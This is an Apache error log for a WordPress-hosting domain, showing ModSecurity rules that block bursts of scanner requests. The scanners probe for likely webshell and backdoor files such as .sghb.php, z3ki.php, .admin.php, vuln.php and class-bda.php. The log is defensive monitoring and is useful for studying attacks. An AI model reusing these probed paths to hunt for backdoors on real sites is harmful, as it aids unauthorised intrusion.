[Tue Apr 21 15:37:42.621389 2026] [:error] [pid 4823:tid 4866] [client 45.86.200.213:61467] [client 45.86.200.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aecpRvc8mke3PfHqsxG6XwAAAY0"]
[Tue Apr 21 15:38:02.206461 2026] [:error] [pid 53731:tid 53760] [client 45.86.200.235:34039] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Tue Apr 21 15:38:39.833966 2026] [:error] [pid 53832:tid 53840] [client 45.86.200.242:42881] [client 45.86.200.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/apikey/"] [unique_id "aecpf9zkuxsE_OhM9UIaEQAAAkU"]
[Tue Apr 21 15:38:42.341504 2026] [:error] [pid 54080:tid 54101] [client 45.86.200.237:24407] [client 45.86.200.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aecpgozEbQHHxtmWbaZVzgAAAtM"]
[Tue Apr 21 15:38:59.863164 2026] [:error] [pid 53731:tid 53758] [client 45.86.200.235:65349] [client 45.86.200.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/wp/"] [unique_id "aecpk12I9THUR-bRVGzdvgAAAhY"]
[Tue Apr 21 16:28:56.114400 2026] [:error] [pid 53832:tid 53856] [client 165.227.77.121:53747] [client 165.227.77.121] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.227.77.121, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aec1SNzkuxsE_OhM9UI8JAAAAlU"]
[Tue Apr 21 16:28:56.117745 2026] [:error] [pid 53832:tid 53856] [client 165.227.77.121:53747] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Tue Apr 21 16:33:20.046772 2026] [:error] [pid 35321:tid 35393] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/gold.php
[Tue Apr 21 16:33:20.322087 2026] [:error] [pid 35321:tid 35398] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Tue Apr 21 16:33:20.719411 2026] [:error] [pid 35321:tid 35391] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Tue Apr 21 16:33:21.003286 2026] [:error] [pid 35321:tid 35389] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Tue Apr 21 16:33:21.278363 2026] [:error] [pid 35321:tid 35397] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/z3ki.php
[Tue Apr 21 16:33:21.657794 2026] [:error] [pid 35321:tid 35385] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/zr-828.php
[Tue Apr 21 16:33:21.931689 2026] [:error] [pid 35321:tid 35394] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/uwa.php
[Tue Apr 21 16:33:22.204822 2026] [:error] [pid 35321:tid 35395] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/ckk.php
[Tue Apr 21 16:33:22.597323 2026] [:error] [pid 35321:tid 35404] [client 98.71.67.66:1958] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Tue Apr 21 16:33:23.241811 2026] [:error] [pid 35321:tid 35385] [client 98.71.67.66:1958] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aec2UzeHLhVUuu8cVXzeugAAAEE"]
[Tue Apr 21 16:33:23.877097 2026] [:error] [pid 4823:tid 4861] [client 98.71.67.66:39625] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aec2U_c8mke3PfHqsxHZUAAAAYg"]
[Tue Apr 21 16:33:24.582403 2026] [:error] [pid 4823:tid 4857] [client 98.71.67.66:30161] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aec2VPc8mke3PfHqsxHZVAAAAYQ"]
[Tue Apr 21 16:33:25.451333 2026] [:error] [pid 35321:tid 35390] [client 98.71.67.66:1893] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aec2VTeHLhVUuu8cVXzexwAAAEY"]
[Tue Apr 21 16:33:26.119331 2026] [:error] [pid 53832:tid 53841] [client 98.71.67.66:19187] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aec2VtzkuxsE_OhM9UI9PgAAAkY"]
[Tue Apr 21 16:33:27.014464 2026] [:error] [pid 35320:tid 35348] [client 98.71.67.66:1937] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aec2V4JW6fdXWO6agME-GAAAABI"]
[Tue Apr 21 16:33:28.155477 2026] [:error] [pid 53731:tid 53748] [client 98.71.67.66:36898] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aec2WF2I9THUR-bRVGznPgAAAg0"]
[Tue Apr 21 16:33:28.961692 2026] [:error] [pid 35320:tid 35352] [client 98.71.67.66:17211] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aec2WIJW6fdXWO6agME-KgAAABY"]
[Tue Apr 21 16:33:29.525038 2026] [:error] [pid 35320:tid 35343] [client 98.71.67.66:26905] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aec2WYJW6fdXWO6agME-MgAAAA0"]
[Tue Apr 21 16:33:30.335911 2026] [:error] [pid 35320:tid 35336] [client 98.71.67.66:30115] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aec2WoJW6fdXWO6agME-PAAAAAY"]
[Tue Apr 21 16:33:31.114609 2026] [:error] [pid 54080:tid 54103] [client 98.71.67.66:19199] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aec2W4zEbQHHxtmWbaZ0MwAAAtU"]
[Tue Apr 21 16:33:31.770250 2026] [:error] [pid 54080:tid 54086] [client 98.71.67.66:23445] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aec2W4zEbQHHxtmWbaZ0OQAAAsQ"]
[Tue Apr 21 16:33:32.487538 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:23459] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aec2XIzEbQHHxtmWbaZ0QAAAAsM"]
[Tue Apr 21 16:33:33.264496 2026] [:error] [pid 53978:tid 53996] [client 98.71.67.66:30129] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aec2XZ1ivsR4hcOSQbbBcQAAApA"]
[Tue Apr 21 16:33:33.900784 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:30108] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aec2XYzEbQHHxtmWbaZ0SQAAAsM"]
[Tue Apr 21 16:33:34.733782 2026] [:error] [pid 54080:tid 54105] [client 98.71.67.66:23485] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/.admin.php"] [unique_id "aec2XozEbQHHxtmWbaZ0UQAAAtc"]
[Tue Apr 21 16:33:35.283941 2026] [:error] [pid 53731:tid 53758] [client 98.71.67.66:30095] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aec2X12I9THUR-bRVGznQwAAAhY"]
[Tue Apr 21 16:33:36.017305 2026] [:error] [pid 53978:tid 53987] [client 98.71.67.66:17165] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aec2YJ1ivsR4hcOSQbbBfgAAAoc"]
[Tue Apr 21 16:33:36.650724 2026] [:error] [pid 54080:tid 54101] [client 98.71.67.66:42843] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aec2YIzEbQHHxtmWbaZ0XAAAAtM"]
[Tue Apr 21 16:33:37.396533 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:31977] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aec2YYJW6fdXWO6agME-WwAAAAE"]
[Tue Apr 21 16:33:38.053573 2026] [:error] [pid 35320:tid 35343] [client 98.71.67.66:42837] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aec2YoJW6fdXWO6agME-YQAAAA0"]
[Tue Apr 21 16:33:38.648737 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:19183] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aec2YoJW6fdXWO6agME-aQAAAAA"]
[Tue Apr 21 16:33:39.285348 2026] [:error] [pid 53731:tid 53758] [client 98.71.67.66:30095] [client 98.71.67.66] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "45.137.126.26_e068bf7d9aa05bbe9086032a7bbf66e40ec17e71"): Internal error (specific information not available) [hostname "www.windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aec2X12I9THUR-bRVGznQwAAAhY"]
[Tue Apr 21 16:33:39.286057 2026] [:error] [pid 54080:tid 54103] [client 98.71.67.66:42857] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aec2Y4zEbQHHxtmWbaZ0YAAAAtU"]
[Tue Apr 21 16:33:39.840499 2026] [:error] [pid 53832:tid 53851] [client 98.71.67.66:36912] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aec2Y9zkuxsE_OhM9UI9RgAAAlA"]
[Tue Apr 21 16:33:40.473971 2026] [:error] [pid 53978:tid 53993] [client 98.71.67.66:36907] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aec2ZJ1ivsR4hcOSQbbBiQAAAo0"]
[Tue Apr 21 16:33:41.103876 2026] [:error] [pid 35320:tid 35353] [client 98.71.67.66:42821] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aec2ZYJW6fdXWO6agME-eQAAABc"]
[Tue Apr 21 16:33:41.711896 2026] [:error] [pid 35320:tid 35351] [client 98.71.67.66:30141] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aec2ZYJW6fdXWO6agME-gAAAABU"]
[Tue Apr 21 16:33:42.529672 2026] [:error] [pid 35320:tid 35330] [client 98.71.67.66:23464] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aec2ZoJW6fdXWO6agME-iAAAAAA"]
[Tue Apr 21 16:33:43.565021 2026] [:error] [pid 54080:tid 54091] [client 98.71.67.66:1297] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aec2Z4zEbQHHxtmWbaZ0bAAAAsk"]
[Tue Apr 21 16:33:44.398049 2026] [:error] [pid 54080:tid 54098] [client 98.71.67.66:42862] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aec2aIzEbQHHxtmWbaZ0dgAAAtA"]
[Tue Apr 21 16:33:45.126123 2026] [:error] [pid 35320:tid 35331] [client 98.71.67.66:42829] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aec2aYJW6fdXWO6agME-kQAAAAE"]
[Tue Apr 21 16:33:45.921443 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:34288] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aec2aYzEbQHHxtmWbaZ0gQAAAs4"]
[Tue Apr 21 16:33:46.633948 2026] [:error] [pid 35321:tid 35390] [client 98.71.67.66:31942] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aec2ajeHLhVUuu8cVXze_QAAAEY"]
[Tue Apr 21 16:33:47.293913 2026] [:error] [pid 54080:tid 54103] [client 98.71.67.66:1031] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aec2a4zEbQHHxtmWbaZ0gwAAAtU"]
[Tue Apr 21 16:33:48.014383 2026] [:error] [pid 35320:tid 35343] [client 98.71.67.66:1306] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aec2bIJW6fdXWO6agME-nQAAAA0"]
[Tue Apr 21 16:33:48.748006 2026] [:error] [pid 35320:tid 35344] [client 98.71.67.66:1337] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aec2bIJW6fdXWO6agME-pQAAAA4"]
[Tue Apr 21 16:33:49.907926 2026] [:error] [pid 54080:tid 54099] [client 98.71.67.66:42817] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aec2bYzEbQHHxtmWbaZ0iAAAAtE"]
[Tue Apr 21 16:33:50.695212 2026] [:error] [pid 35320:tid 35332] [client 98.71.67.66:1041] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aec2boJW6fdXWO6agME-qwAAAAI"]
[Tue Apr 21 16:33:51.704542 2026] [:error] [pid 35321:tid 35408] [client 98.71.67.66:30136] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aec2bzeHLhVUuu8cVXzfEgAAAFg"]
[Tue Apr 21 16:33:52.804514 2026] [:error] [pid 35321:tid 35395] [client 98.71.67.66:17187] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aec2cDeHLhVUuu8cVXzfGAAAAEs"]
[Tue Apr 21 16:33:53.625595 2026] [:error] [pid 4823:tid 4856] [client 98.71.67.66:42839] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aec2cfc8mke3PfHqsxHZdgAAAYM"]
[Tue Apr 21 16:33:54.351334 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:17175] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aec2cozEbQHHxtmWbaZ0kQAAAsM"]
[Tue Apr 21 16:33:55.276306 2026] [:error] [pid 4777:tid 4790] [client 98.71.67.66:17255] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aec2c6xXur6bykKyLZSPVwAAAQI"]
[Tue Apr 21 16:33:55.875338 2026] [:error] [pid 53978:tid 54002] [client 98.71.67.66:26921] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aec2c51ivsR4hcOSQbbBkwAAApY"]
[Tue Apr 21 16:33:56.439122 2026] [:error] [pid 53978:tid 53988] [client 98.71.67.66:1299] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aec2dJ1ivsR4hcOSQbbBlAAAAog"]
